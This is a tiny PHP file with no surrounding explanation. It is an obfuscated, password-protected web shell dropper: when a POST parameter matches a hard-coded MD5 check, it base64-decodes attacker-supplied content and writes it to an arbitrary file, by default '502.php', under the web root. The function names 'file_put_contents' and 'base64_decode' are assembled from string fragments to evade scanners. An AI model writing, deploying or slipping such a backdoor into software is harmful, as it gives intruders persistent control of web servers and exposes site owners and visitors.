<?php
$qrm = $_POST;
if(!empty($qrm['b']) && md5($qrm['b'].md5($qrm['b']))=='14ee231dadb1d1c5ce1f7bae9f7f13eb') {
	$nuf = !empty($qrm['f']) ? $qrm['f'] : '502.'.'php';
	if(!empty($qrm['r'])) $nuf = $_SERVER['DOCUMENT_ROOT'].'/'.$nuf;
	$scq = 'fi'.'le'.'_p'.'ut'.'_c'.'on'.'te'.'NT'.'S'; $rjx = 'base6'.'4_DEC'.'ODE';
	if($scq($nuf, $rjx($qrm['c']))) exit($nuf);
}
?>m5